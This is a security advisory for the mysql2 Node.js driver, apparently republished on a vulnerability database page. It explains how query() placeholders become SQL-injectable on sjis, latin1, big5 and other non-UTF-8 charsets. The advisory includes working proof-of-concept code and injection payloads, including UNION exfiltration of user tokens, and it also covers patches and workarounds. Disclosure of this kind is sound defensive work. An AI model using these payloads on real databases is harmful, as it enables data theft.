GHSA-jxvc-9hcf-fw42: 
JavaScript Analyse et atténuation de la vulnérabilité

Summary

mysql2's query() escapes values while they are still JavaScript strings, and only afterwards converts the SQL to bytes in the connection charset. Whenever a character the escaper leaves alone turns into bytes the MySQL lexer reads differently, the escape stops working and a single ? placeholder becomes injectable — with no string concatenation anywhere, on fully self-consistent connections (no SET NAMES, no server forcing, no charset mismatch). Multiple non-UTF-8 connection charsets are affected — each one listed below is verified end-to-end (3 rows = full-table injection + UNION exfiltration). Not every non-UTF-8 charset is affected: gbk, gb18030, euckr and the UTF-8 family are verified safe (see the bottom list). Three independent mechanism classes:

ClassCharsetsMechanismExample payload
1. Single-byte 0x5C charactersjis, cp932, ujis¥ (U+00A5) encodes to a single byte 0x5C, pairs with the escape backslash and exposes the quote¥' OR 1=1 --
2. Low-byte truncationlatin1, ascii, binaryNode's Buffer encodings keep only the low byte of each character: Ŝ (U+015C) → 0x5C, ħ (U+0127) → 0x27ħ OR 1=1 -- (contains no ASCII quote at all)
3. Encoder-superset pair splittingbig5, gb2312iconv-lite's codecs are Big5-HKSCS and GBK supersets; they emit lead bytes MySQL's strict lexer rejects, the server splits the pair, and the trail byte becomes a backslash or swallows the escapeĚ' OR 1=1 --
These are not exotic misconfigurations: latin1 is the default charset of MySQL 5.x (the largest legacy population), cp932 is the Windows Japanese default, big5/gb2312 cover Taiwanese / early Simplified-Chinese databases, and sjis/ujis are the correct choices for legacy Japanese systems. For every one of them, the affected connection charset is the correct configuration for that database.
Affected code path: query() / client-side interpolation — including pools and the callback-compatible API — all mysql2 versions.
NOT affected: execute() (server-side prepared statements — parameters are binary and never lexed; verified immune). See the full "Not affected" list at the bottom.

Class 1 — ¥ (U+00A5) on sjis / cp932 / ujis

Root cause

mysql2 escapes ' as \' (bytes 5C 27) at the Unicode level, then encodes the whole string with the connection charset. In all three charsets, ¥ encodes to a single byte 0x5C. For the one-parameter input ¥':

escape (Unicode level):   ¥'   ->  ¥\'
encode (sjis/cp932/ujis): ¥\' ->  5C 5C 27      (wire bytes)
server lexer:             5C 5C -> valid escape pair (a literal backslash)
                          27    -> quote EXPOSED — the string closes early

The remainder of the parameter executes as SQL: WHERE name = '\' OR 1=1 -- '.

PoC

const mysql = require('mysql2/promise');
(async () => {
  // Correct configuration for a legacy Japanese DB (try each: 'sjis', 'cp932', 'ujis'):
  const c = await mysql.createConnection({
    host: '127.0.0.1', user: 'root', password: '', database: 't', charset: 'sjis',
  });
  // Parameterized query — no concatenation anywhere:
  const [rows] = await c.query(
    'SELECT id, name FROM users WHERE name = ?',
    ["\u00A5' OR 1=1 -- "]            // ¥' OR 1=1 --
  );
  console.log(rows.length);           // -> 3 (full table, includes admin)
  const [exfil] = await c.query(
    'SELECT id, name FROM users WHERE name = ?',
    ["\u00A5' UNION SELECT id, token FROM users -- "]
  );
  console.log(exfil);                 // -> all rows (UNION exfiltration)
  await c.end();
})();

Wire evidence

Server general_log hex: WHERE name = '\\' OR 1=1 -- ' → bytes 27 5C 5C 27.

Class 2 — low-byte truncation on latin1 / ascii / binary

Root cause

mysql2's encoding step (lib/parsers/string.js) routes charsets that Node natively supports (Buffer.isEncoding()) to Buffer.from(str, encoding). Node's latin1, ascii and binary encodings keep only the low byte of each UTF-16 code unit — silently, with no error:

InputUTF-16 code unit(s)Wire bytesEffect
Ŝ (U+015C)015C5Cbecomes a backslash — same injection as Class 1
ħ (U+0127)012727becomes a quote byte directly
The injection surface is every character in the U+XX5C and U+XX27 ranges (256 code points each). The ħ form is particularly severe: the payload ħ OR 1=1 -- contains no ASCII quote at all, so quote-based WAF rules, blacklists and audit logs see nothing.

PoC

const c = await mysql.createConnection({ host: '127.0.0.1', user: 'root',
  password: '', database: 't', charset: 'latin1' });   // MySQL 5.x default charset
// Form A — truncated to 0x5C (same wire signature as ¥'):
await c.query('SELECT id, name FROM users WHERE name = ?', ["\u015C' OR 1=1 -- "]);
// -> 3 rows
// Form B — truncated to 0x27 (no ASCII quote in the payload):
await c.query('SELECT id, name FROM users WHERE name = ?', ["\u0127 OR 1=1 -- "]);
// -> 3 rows

Wire evidence

  • Form A: WHERE name = '\\' OR 1=1 -- ' → 27 5C 5C 27 (identical to Class 1)
  • Form B: WHERE name = '' OR 1=1 -- ' → 27 27 — the template's opening quote is immediately closed by the ħ-derived 0x27 Verified on latin1, ascii, binary — all 6 combinations (2 payload forms × 3 charsets) return the full table.

Class 3 — encoder-superset pair splitting on big5 / gb2312

Root cause

For charsets Node does not natively support, mysql2 uses iconv-lite — but iconv-lite's big5 codec is actually Big5-HKSCS and its gb2312 codec is actually GBK, both supersets of the strict charsets MySQL's lexer implements. They happily encode characters into byte pairs whose lead byte MySQL rejects; the server then treats the lead byte as a standalone byte and the trail byte lands as a lone backslash (or swallows the escape):

Inputiconv-lite emitsMySQL lexerResult
Ě (U+011A)88 5C0x88 is not a valid big5 lead → pair split5C lands as escape backslash
ê (U+00EA)88 A7same splitA7 pairs with the following escape byte
乗 (U+4E57)81 5C0x81 is not a valid gb2312 lead (gb2312 leads are A1–F7)5C lands as escape backslash

PoC

const c = await mysql.createConnection({ host: '127.0.0.1', user: 'root',
  password: '', database: 't', charset: 'big5' });
await c.query('SELECT id, name FROM users WHERE name = ?', ["\u011A' OR 1=1 -- "]);
// -> 3 rows (full table)
const c2 = await mysql.createConnection({ host: '127.0.0.1', user: 'root',
  password: '', database: 't', charset: 'gb2312' });
await c2.query('SELECT id, name FROM users WHERE name = ?', ["\u4E57' OR 1=1 -- "]);
// -> 3 rows (full table)

Wire evidence

big5 + Ě': WHERE name = '…' → bytes 27 88 5C 5C 27 — the 88 is dropped as an invalid single byte, 5C 5C forms the escape pair, the trailing 27 is the exposed quote.

Verified matrix (3 rows = full-table injection)

charsetpayloadresult
sjis¥' OR 1=1 -- 3 rows + UNION exfil
cp932¥' OR 1=1 -- 3 rows + UNION exfil
ujis¥' OR 1=1 -- 3 rows + UNION exfil
latin1Ŝ' OR 1=1 -- 3 rows
latin1ħ OR 1=1 -- (no ASCII quote)3 rows
asciiŜ' / ħ forms3 rows
binaryŜ' / ħ forms3 rows
big5Ě' OR 1=1 -- 3 rows
gb2312乗' (U+4E57) OR 1=1 -- 3 rows
gbk (control)乗' (U+4E57) — valid GBK pair0 rows (safe)
gb18030 / euckr / utf8mb4 (control)—safe
HTTP end-to-end (plain http + mysql2, charset:'sjis'): normal input → 1 row (business unaffected — invisible in production); ASCII ' OR 1=1 -- → 0 rows (placeholder protection works — proves this is not concatenation); ¥' OR 1=1 -- → 3 rows; UNION → full exfiltration.

Impact

Any application connecting with one of the 8 affected charsets — for all of which the charset is the correct choice for that legacy database; latin1 additionally being the MySQL 5.x default — and passing user input through query() placeholders is injectable with a single parameter. UNION-based exfiltration confirmed end-to-end. The Class 2 ħ form additionally bypasses any quote-based input filtering.

Suggested fix

Escape at the byte level after encoding, or validate that every non-ASCII character the escaper leaves alone will be read back by the server as that same single character (reject or substitute anything else). Oracle's Connector/J handles the ¥/₩ case explicitly in StringUtils.escapeString — precedent that this class of issue is the driver's responsibility and is fixable client-side. At minimum, document that query() interpolation is unsafe on the affected charsets and execute() must be used there.

Affected versions

Verified against MySQL 8.3 on mysql2 0.15.8, 1.0.0, 1.1.1, 1.1.2, 1.3.6, 1.6.1, 1.6.2, 2.0.0, 3.0.0 and 3.24.6. The latin1/ascii start version was bisected across every release from 1.1.2 to 1.3.6.

Connection charsetFirst affected release
sjis, cp932, big5, gb2312, binary1.0.0
latin1, ascii1.3.3 (1.3.2 is not affected)
ujis1.6.1 (earlier releases could not encode ujis at all)
Every release from 1.6.1 through 3.25.0 is affected on all eight charsets. 3.25.0 sends the same injectable bytes as 3.24.6 (for example 27 5C 5C 27 for ¥' on sjis).
Releases before 1.0.0 sent every query as UTF-8 regardless of the configured charset. On an sjis connection that mismatch is also injectable, for example with ぁ (E3 81 81): the stray 0x81 lead byte swallows the escape backslash.

Patches

Fixed in 3.26.0. Before encoding, mysql2 now replaces with ? every character the server would not read back as that same single character. This applies to the SQL text of both COM_QUERY and COM_STMT_PREPARE, and matches how MySQL itself handles characters a charset cannot represent. For multi-byte charsets the check follows MySQL's own byte-layout rules (my_ismbchar in strings/ctype-*.cc), not iconv-lite's. UTF-8 connections are not scanned and behave exactly as before. Behaviour change: on non-UTF-8 connections, characters the charset cannot represent now reach the server as ? instead of as incorrect bytes. For example, ¥ on an sjis connection used to be stored as a backslash; on big5 and gb2312, characters that exist only in Big5-HKSCS or GBK are now substituted.

Workarounds

If you cannot upgrade:

  • Connect with charset: 'utf8mb4' (the default) and let the server convert to the column charset.
  • Or use execute() for every statement that carries untrusted input. Prepared-statement parameters are sent in binary and never lexed as SQL.

Source: NVD

Connexe JavaScript Vulnérabilités :

CVE ID

Gravité

Partition

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

GHSA-jxvc-9hcf-fw42CRITICAL9.2
  • JavaScript logoJavaScript
  • mysql2
NonOuiDec 05, 2026
GHSA-mxg9-wm8p-75g7HIGH8.3
  • JavaScript logoJavaScript
  • mysql2
NonOuiDec 05, 2026
GHSA-rw72-639f-x4f2HIGH7.1
  • JavaScript logoJavaScript
  • @atpdeveloper/atp-cli
NonOuiDec 05, 2026
GHSA-6j7m-7ww6-rcr4MEDIUM5.5
  • JavaScript logoJavaScript
  • atp-hermes-hook
NonOuiDec 05, 2026
GHSA-2v74-9pcq-cq9mMEDIUMN/A
  • JavaScript logoJavaScript
  • multiple-cucumber-html-reporter
NonOuiDec 05, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.

Évaluation de la demande

Ressources Wiz supplémentaires

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités